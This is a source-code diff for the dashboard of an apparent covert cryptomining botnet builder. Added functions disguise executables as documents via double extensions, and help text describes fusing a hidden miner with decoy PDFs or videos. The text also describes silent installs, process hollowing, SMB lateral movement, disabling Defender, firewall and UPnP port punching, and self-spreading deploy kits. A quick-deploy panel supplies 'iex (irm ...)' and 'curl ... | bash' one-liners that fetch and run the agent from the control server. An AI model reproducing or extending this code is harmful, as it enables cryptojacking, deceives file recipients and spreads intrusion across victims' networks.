stealth default. + // Users can override process_name manually in Advanced mode. break; case 'pool_tls': @@ -173,7 +218,7 @@ export function applyForgeFieldUpdate( break; } - return next; + return normalizeForgeForm(next); } /** Per-field UI state: disabled fields + why. */ @@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record 70 && form.thread_mode === 'percent') { notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.'); } + if (form.target_os === 'universal') { + notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.'); + } + if (form.spread_kit) { + notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.'); + } + if (form.fusion_enabled) { + notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.'); + } + if (form.target_os === 'linux' || form.target_os === 'darwin') { + notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`); + } + if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) { + notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.'); + } return notices; } diff --git a/server/web/src/help/forgeSmartDefaults.ts b/server/web/src/help/forgeSmartDefaults.ts index 80a483a..de32b29 100644 --- a/server/web/src/help/forgeSmartDefaults.ts +++ b/server/web/src/help/forgeSmartDefaults.ts @@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial { process_hollowing: false, mesh_p2p: false, auto_spread: false, + hole_punch: false, + remote_aggressive: false, ai_enabled: false, fusion_enabled: false, output_dir: 'exports', diff --git a/server/web/src/help/forgeValidation.ts b/server/web/src/help/forgeValidation.ts index ee598bf..30ee561 100644 --- a/server/web/src/help/forgeValidation.ts +++ b/server/web/src/help/forgeValidation.ts @@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean { function looksLikeXMRWallet(addr: string): boolean { const a = addr.trim(); - return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a); + // Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars) + return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a); } export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] { diff --git a/server/web/src/help/fusionMedia.test.ts b/server/web/src/help/fusionMedia.test.ts index 0a74b1a..d8fbe88 100644 --- a/server/web/src/help/fusionMedia.test.ts +++ b/server/web/src/help/fusionMedia.test.ts @@ -3,23 +3,63 @@ import { defaultEmbeddedName, defaultRunnerName, fusionTitleFromFilename, - isFusionVideoFile, + isFusionExeFile, + fusionPayloadKind, + fusionFileTypeLabel, + disguisedWindowsRunnerName, + disguisedDisplayName, } from './fusionMedia'; describe('fusionMedia', () => { - it('detects video extensions', () => { - expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true); - expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false); - expect(isFusionVideoFile(null)).toBe(false); + it('detects exe extensions', () => { + expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true); + expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false); + expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false); + expect(isFusionExeFile(null)).toBe(false); }); - it('derives title from filename', () => { + it('returns correct payload kind', () => { + expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe'); + expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file'); + expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file'); + expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file'); + expect(fusionPayloadKind(null)).toBe('file'); + }); + + it('derives title from any filename', () => { expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation'); expect(fusionTitleFromFilename('clip.MP4')).toBe('clip'); + expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report'); + expect(fusionTitleFromFilename('document.docx')).toBe('document'); }); - it('builds default runner and embedded names', () => { - expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe'); + it('builds disguised double-extension runner names for non-exe files', () => { + // Double-extension trick: Windows hides .exe → user sees the document name + icon + expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe'); + expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe'); + expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe'); + // exe payloads are not double-extended (they run directly) + expect(defaultRunnerName('setup.exe')).toBe('setup.exe'); + // embedded = same disguised name expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe'); }); + + it('disguisedWindowsRunnerName works for all types', () => { + expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe'); + expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe'); + expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe'); + expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe'); + }); + + it('disguisedDisplayName strips trailing .exe for user-visible name', () => { + expect(disguisedDisplayName('report.pdf')).toBe('report.pdf'); + expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4'); + }); + + it('returns friendly file type labels', () => { + expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document'); + expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video'); + expect(fusionFileTypeLabel('doc.docx')).toBe('Word document'); + expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file'); + }); }); diff --git a/server/web/src/help/fusionMedia.ts b/server/web/src/help/fusionMedia.ts index f94f9f2..de0f150 100644 --- a/server/web/src/help/fusionMedia.ts +++ b/server/web/src/help/fusionMedia.ts @@ -1,20 +1,69 @@ -export function isFusionVideoFile(file: File | null | undefined): boolean { +/** Return true if the file is a Windows executable payload (run directly). */ +export function isFusionExeFile(file: File | null | undefined): boolean { if (!file?.name) return false; - return /\.(mp4|mkv|mov)$/i.test(file.name); + return /\.exe$/i.test(file.name); } +/** Derive a clean title from any filename (strips extension). */ export function fusionTitleFromFilename(name: string): string { const base = name.replace(/^.*[/\\]/, ''); - return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie'; + // Remove all extensions from the title + return base.replace(/\.[^.]+$/, '') || 'file'; } +/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files. + * e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer) + * "setup.exe" → "setup.exe" (run directly) + */ export function defaultRunnerName(mediaName: string): string { - const title = fusionTitleFromFilename(mediaName); - return `${title}-runner.exe`; + return disguisedWindowsRunnerName(mediaName); } +/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */ export function defaultEmbeddedName(mediaName: string): string { - const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv'; - const title = fusionTitleFromFilename(mediaName); - return `${title}${ext}.exe`; + return defaultRunnerName(mediaName); +} + +/** Return the payload kind: "exe" for .exe files, "file" for everything else. */ +export function fusionPayloadKind(file: File | null | undefined): string { + if (!file?.name) return 'file'; + return /\.exe$/i.test(file.name) ? 'exe' : 'file'; +} + +/** + * Returns the Windows runner filename that uses the double-extension trick. + * "quarterly-report.pdf" → "quarterly-report.pdf.exe" + * Windows hides the .exe when extension hiding is on (the OS default), so the + * user sees "quarterly-report.pdf" with the PDF icon injected by the forge. + */ +export function disguisedWindowsRunnerName(payloadName: string): string { + const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? ''; + if (ext === '.exe' || ext === '') { + // Already an exe or no extension — no double-extension trick needed + const base = payloadName.replace(/\.[^.]+$/, '') || 'setup'; + return base + '.exe'; + } + const base = payloadName.replace(/\.[^.]+$/, '') || 'file'; + return base + ext + '.exe'; +} + +/** What the disguised Windows file looks like to the user (with ext hiding on). */ +export function disguisedDisplayName(payloadName: string): string { + // Strips the trailing .exe → shows the double-extension name without .exe + const runner = disguisedWindowsRunnerName(payloadName); + return runner.replace(/\.exe$/i, ''); +} + +/** Friendly label for a file type based on extension. */ +export function fusionFileTypeLabel(filename: string): string { + const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? ''; + const labels: Record = { + pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video', + avi: 'AVI video', doc: 'Word document', docx: 'Word document', + xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation', + jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image', + zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image', + txt: 'Text file', csv: 'CSV file', + }; + return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file'); } diff --git a/server/web/src/help/installPreview.ts b/server/web/src/help/installPreview.ts index 6e87a55..cbe68d2 100644 --- a/server/web/src/help/installPreview.ts +++ b/server/web/src/help/installPreview.ts @@ -3,7 +3,9 @@ const BASE_LABELS: Record = { appdata: '%APPDATA%', programdata: '%ProgramData%', userprofile: '%USERPROFILE%', - temp: '%TEMP%', + home: '~', + xdg_data_home: '~/.local/share', + temp: '%TEMP% / /tmp', custom: '', }; @@ -18,12 +20,14 @@ export function previewInstallPath(options: { install_relative_path?: string; worker_name?: string; process_name?: string; + target_os?: string; }): string { + const targetOs = options.target_os || 'windows'; const baseKey = options.install_base || 'localappdata'; const base = baseKey === 'custom' ? (options.install_custom_base?.trim() || '%CUSTOM%') - : (BASE_LABELS[baseKey] || '%LOCALAPPDATA%'); + : (BASE_LABELS[baseKey] || BASE_LABELS.localappdata); const worker = sanitizeToken(options.worker_name || 'worker', 'worker'); const process = sanitizeToken(options.process_name || worker, 'miner'); @@ -37,6 +41,18 @@ export function previewInstallPath(options: { .replace(/\{process\}/g, process); rel = rel.replace(/^\/+|\/+$/g, ''); + + if (targetOs === 'universal') { + const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata; + const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home; + return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`; + } + + if (targetOs === 'linux' || targetOs === 'darwin') { + const folder = rel ? `${base}/${rel}` : base; + return `${folder}/${process}`; + } + const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base; return `${folder}\\${process}.exe`; } diff --git a/server/web/src/help/remoteActions.test.ts b/server/web/src/help/remoteActions.test.ts index 98ec74c..47f5753 100644 --- a/server/web/src/help/remoteActions.test.ts +++ b/server/web/src/help/remoteActions.test.ts @@ -1,4 +1,5 @@ import { describe, it, expect } from 'vitest'; +import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions'; /** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */ const UI_REMOTE_ACTIONS = [ @@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [ 'get_log', 'powershell', 'upload', + ...AGGRESSIVE_REMOTE_ACTIONS, ] as const; -/** Implemented in agent/client/client.go handleCommand switch. */ +/** Implemented in agent/client (handleCommand + aggressive_commands). */ const AGENT_HANDLED = new Set([ 'pause', 'resume', @@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([ 'ipconfig', 'clipboard', 'wifi', + 'hole_punch', + 'hole_punch_close', + 'hole_punch_status', + 'spread_now', + 'start_tunnel', + 'subnet_scan', + 'defender_off', + 'firewall_punch', + 'mesh_status', ]); describe('remote action wiring', () => { @@ -48,4 +59,15 @@ describe('remote action wiring', () => { expect(AGENT_HANDLED.has(action)).toBe(true); } }); + + it('gates hole punch when capability missing', () => { + expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false); + expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true); + }); + + it('blocks defender_off on darwin regardless of caps', () => { + const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false }; + expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false); + expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true); + }); }); diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 4fbf7d7..f7c0618 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -69,15 +69,17 @@ export const FIELD_HELP: Record = { silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', auto_start: 'Same as Persistence. Keeps miner running after reboot.', fusion_enabled: - 'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.', + 'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.', fusion_run_order: - 'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.', + 'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.', fusion_prep: - 'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.', + 'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.', fusion_media_mode: - 'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables// — best for full-length films (up to 2GB upload).', + 'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.', fusion_output_name: - 'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.', + 'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.', + fusion_batch: + 'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.', install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', @@ -96,4 +98,10 @@ export const FIELD_HELP: Record<string, string> = { process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.', mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.', auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.', + hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).', + remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.', + target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.', + target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.', + spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.', + forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.', }; diff --git a/server/web/src/hooks/useWebSocket.ts b/server/web/src/hooks/useWebSocket.ts index f2148c8..aa84353 100644 --- a/server/web/src/hooks/useWebSocket.ts +++ b/server/web/src/hooks/useWebSocket.ts @@ -1,196 +1,5 @@ -import { useEffect, useRef, useCallback, useState } from 'react'; -import type { - WSDashboardInit, - WSAgentOffline, - WSStatsUpdate, - WSCommandResult, - WSAgentLog, -} from '../types/ws'; -import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; - -interface UseWebSocketReturn { - isConnected: boolean; - agents: Agent[]; - recentShares: Share[]; - fleetAlerts: FleetAlert[]; - poolStatus: PoolStatus[]; - aiActivity: AIActivityEntry[]; - agentLogs: Record<string, string>; - latestMessage: WSMessage | null; -} - -export function useWebSocket(): UseWebSocketReturn { - const wsRef = useRef<WebSocket | null>(null); - const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null); - const unmounted = useRef(false); - const [isConnected, setIsConnected] = useState(false); - const [agents, setAgents] = useState<Agent[]>([]); - const [recentShares, setRecentShares] = useState<Share[]>([]); - const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]); - const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]); - const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]); - const [agentLogs, setAgentLogs] = useState<Record<string, string>>({}); - const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null); - - const connect = useCallback(() => { - if (unmounted.current) return; - - if (reconnectTimer.current) { - clearTimeout(reconnectTimer.current); - reconnectTimer.current = null; - } - - const existing = wsRef.current; - if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) { - existing.close(); - } - - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`; - - const ws = new WebSocket(wsUrl); - wsRef.current = ws; - - ws.onopen = () => { - if (!unmounted.current) setIsConnected(true); - }; - - ws.onclose = () => { - if (unmounted.current) return; - setIsConnected(false); - if (reconnectTimer.current) clearTimeout(reconnectTimer.current); - reconnectTimer.current = setTimeout(connect, 3000); - }; - - ws.onerror = () => { - ws.close(); - }; - - ws.onmessage = (event) => { - try { - const msg = JSON.parse(event.data) as WSMessage; - setLatestMessage(msg); - - switch (msg.type) { - case 'init': { - const data = msg.payload as WSDashboardInit; - if (data.agents) setAgents(data.agents); - break; - } - case 'agent_online': { - const agent = msg.payload as Agent; - setAgents((prev) => { - const idx = prev.findIndex((a) => a.id === agent.id); - if (idx >= 0) { - const updated = [...prev]; - updated[idx] = { ...updated[idx], ...agent }; - return updated; - } - return [...prev, agent]; - }); - break; - } - case 'agent_offline': { - const { agent_id } = msg.payload as WSAgentOffline; - setAgents((prev) => - prev.map((a) => - a.id === agent_id ? { ...a, status: 'offline' as const } : a - ) - ); - break; - } - case 'stats_update': { - const update = msg.payload as WSStatsUpdate; - setAgents((prev) => - prev.map((a) => - a.id === update.agent_id - ? { - ...a, - hashrate_15s: update.hashrate_15s, - hashrate_1m: update.hashrate_1m, - hashrate_15m: update.hashrate_15m, - cpu_usage_pct: update.cpu_usage_pct, - memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct, - uptime_seconds: update.uptime_seconds ?? a.uptime_seconds, - shares_total: update.shares_submitted ?? a.shares_total, - shares_good: update.shares_accepted ?? a.shares_good, - shares_bad: Math.max( - 0, - (update.shares_submitted ?? a.shares_total) - - (update.shares_accepted ?? a.shares_good) - ), - status: 'online' as const, - } - : a - ) - ); - break; - } - case 'new_share': { - const share = msg.payload as Share; - setRecentShares((prev) => [share, ...prev].slice(0, 50)); - break; - } - case 'fleet_alert': { - const alert = msg.payload as FleetAlert; - setFleetAlerts((prev) => [alert, ...prev].slice(0, 20)); - break; - } - case 'pool_status': { - const pools = msg.payload as PoolStatus[]; - if (Array.isArray(pools)) setPoolStatus(pools); - break; - } - case 'ai_activity': { - const entry = msg.payload as AIActivityEntry; - setAiActivity((prev) => { - const idx = prev.findIndex((a) => a.agent_id === entry.agent_id); - if (idx >= 0) { - const next = [...prev]; - next[idx] = entry; - return next; - } - return [...prev, entry]; - }); - break; - } - case 'command_result': { - const p = msg.payload as WSCommandResult; - const agent_id = p.agent_id; - if (agent_id && p.action === 'get_log' && p.success && p.message) { - setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! })); - } - break; - } - case 'agent_log': { - const { agent_id, content } = msg.payload as WSAgentLog; - if (agent_id) { - setAgentLogs((prev) => ({ ...prev, [agent_id]: content })); - } - break; - } - } - } catch (err) { - console.error('Failed to parse WebSocket message:', err); - } - }; - }, []); - - useEffect(() => { - unmounted.current = false; - connect(); - return () => { - unmounted.current = true; - if (reconnectTimer.current) { - clearTimeout(reconnectTimer.current); - } - const ws = wsRef.current; - if (ws) { - ws.onclose = null; - ws.close(); - } - }; - }, [connect]); - - return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs, latestMessage }; -} +// useWebSocket is now a thin wrapper around the shared WebSocketContext. +// The actual connection lives in WebSocketProvider (mounted in App.tsx), +// so calling this hook from multiple components no longer creates duplicate +// WebSocket connections (fixes M12). +export { useWebSocketContext as useWebSocket } from '../context/WebSocketContext'; diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 71758a0..74e3e0e 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -1,7 +1,7 @@ import { useState, useEffect, useMemo, useCallback } from 'react'; import { api } from '../api/client'; import { useWebSocket } from '../hooks/useWebSocket'; -import type { Agent, HashrateSample } from '../types'; +import type { Agent, HashrateSample, ServerInfo } from '../types'; import HashrateChart from '../components/Charts/HashrateChart'; import NeonCard from '../components/NeonCard/NeonCard'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; @@ -15,13 +15,68 @@ import { formatUptime, } from '../help/fleetFilters'; import type { FleetFilterState } from '../help/fleetFilters'; -import '../components/Fleet/FleetPanels.css'; import '../components/Fleet/FleetToolbar.css'; -import '../components/Fleet/AgentRemoteActions.css'; import './Pages.css'; +function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) { + const [copied, setCopied] = useState<string | null>(null); + + const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin; + + const copy = (text: string, key: string) => { + navigator.clipboard.writeText(text).then(() => { + setCopied(key); + setTimeout(() => setCopied(null), 2000); + }); + }; + + const ps1 = `iex (irm '${base}/install.ps1')`; + const sh = `curl -sL ${base}/install.sh | bash`; + const dlWin = `${base}/get?os=windows`; + const dlLin = `${base}/get?os=linux`; + const dlMac = `${base}/get?os=darwin`; + + const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => ( + <div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}> + <span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span> + <code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code> + <button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}> + {copied === id ? '✓ Copied' : 'Copy'} + </button> + </div> + ); + + return ( + <NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}> + <div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}> + <span style={{ fontSize: '1.2rem' }}>⚡</span> + <div> + <strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong> + <p className="form-hint" style={{ margin: 0 }}> + Run any of these commands on a remote machine — the agent downloads itself and connects back automatically. + No files to transfer manually. + </p> + </div> + </div> + + <div style={{ marginBottom: '0.75rem' }}> + <div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div> + <Row label="Windows" cmd={ps1} id="ps1" /> + <Row label="Linux/Mac" cmd={sh} id="sh" /> + </div> + + <div> + <div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div> + <Row label="Windows" cmd={dlWin} id="dlw" /> + <Row label="Linux" cmd={dlLin} id="dll" /> + <Row label="macOS" cmd={dlMac} id="dlm" /> + </div> + </NeonCard> + ); +} + export default function AgentsPage() { - const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket(); + const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket(); const [agents, setAgents] = useState<Agent[]>([]); const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null); const [expandedId, setExpandedId] = useState<string | null>(null); @@ -30,6 +85,7 @@ export default function AgentsPage() { const [bulkBusy, setBulkBusy] = useState(false); const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]); const [loading, setLoading] = useState(true); + const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null); const [loadError, setLoadError] = useState(''); const [logContent, setLogContent] = useState(''); const [logLoading, setLogLoading] = useState(false); @@ -43,6 +99,7 @@ export default function AgentsPage() { .then(setAgents) .catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents')) .finally(() => setLoading(false)); + api.getServerInfo().then(setServerInfo).catch(() => {}); }, []); useEffect(() => { @@ -173,6 +230,8 @@ export default function AgentsPage() { <span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span> </header> + <QuickDeployPanel serverInfo={serverInfo} /> + {loadError && ( <NeonCard accent="amber" className="empty-state"> <p>{loadError}</p> @@ -187,7 +246,7 @@ export default function AgentsPage() { <NeonCard accent="brass" className="empty-state"> <div className="empty-icon">⚙</div> <h3>No agents registered</h3> - <p>Deploy a miner to a Windows machine and it will appear here automatically.</p> + <p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p> </NeonCard> ) : ( <div className="agents-layout"> @@ -212,7 +271,7 @@ export default function AgentsPage() { onCheck={(on) => toggleSelect(agent.id, on)} onSelect={() => void selectAgent(agent)} onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))} - latestWsMessage={latestMessage} + commandResults={commandResults} /> ))} {filteredAgents.length === 0 && ( @@ -272,6 +331,15 @@ export default function AgentsPage() { <span className="detail-label">Version</span> <span className="detail-value">{selectedAgent.version || 'Unknown'}</span> </div> + {(selectedAgent.platform || selectedAgent.os_version) && ( + <div className="detail-item"> + <span className="detail-label">Platform</span> + <span className="detail-value"> + {[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')} + {selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''} + </span> + </div> + )} <div className="detail-item"> <span className="detail-label">CPU Cores</span> <span className="detail-value">{selectedAgent.cpu_cores}</span> @@ -350,7 +418,7 @@ export default function AgentsPage() { <AgentRemoteActions agent={selectedAgent} online={selectedAgent.status === 'online'} - latestWsMessage={latestMessage} + commandResults={commandResults} onCommandSent={(action: string) => { if (action === 'get_log') refreshLog(true); }} diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 2a446e9..20fae7f 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -10,6 +10,14 @@ import { lanEndpointCandidates } from '../help/endpointHelpers'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { previewInstallPath } from '../help/installPreview'; import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules'; +import { + applyDeliverableType, + deriveDeliverableType, + deliverableSummary, + installBaseOptionsForTarget, + normalizeForgeForm, + type ForgeDeliverable, +} from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import { LanDownloadQR } from '../components/Fleet/LanDownloadQR'; @@ -17,12 +25,14 @@ import AuthDownloadButton from '../components/AuthDownloadButton'; import DownloadButton from '../components/DownloadButton'; import { downloadApiFile } from '../api/download'; import { - isFusionVideoFile, + fusionPayloadKind, fusionTitleFromFilename, + fusionFileTypeLabel, + disguisedWindowsRunnerName, + disguisedDisplayName, defaultRunnerName, defaultEmbeddedName, } from '../help/fusionMedia'; -import '../components/Fleet/FleetPanels.css'; import './Pages.css'; function formatBytes(n: number): string { @@ -72,6 +82,8 @@ export default function BuilderPage() { } | null>(null); const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null); const [estimateLoading, setEstimateLoading] = useState(false); + // Set to true to request cancellation between batch iterations + const batchCancelRef = useRef(false); const [estimateError, setEstimateError] = useState(''); const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null); const [listenPort, setListenPort] = useState(8989); @@ -206,6 +218,16 @@ export default function BuilderPage() { setForm(merged); setError(''); setLastBuild(null); + + // Fusion re-forge requires the payload file — prep files are not kept on the + // server after a build completes (M15). Prompt the user to re-upload first. + if (merged.fusion_enabled && !fusionPrepFile) { + setError( + 'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.' + ); + return; + } + const checks = runForgePreflight(merged, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Re-forge preflight failed — adjust settings and forge manually.'); @@ -281,25 +303,24 @@ export default function BuilderPage() { if (!f) return; setForm((prev) => { if (!prev) return prev; - const video = isFusionVideoFile(f); - const mode = prev.fusion_media_mode || 'paired'; return { ...prev, - fusion_payload_kind: video ? 'video' : 'exe', + fusion_payload_kind: fusionPayloadKind(f), fusion_media_base_name: f.name, - fusion_output_name: video - ? mode === 'embedded' - ? defaultEmbeddedName(f.name) - : 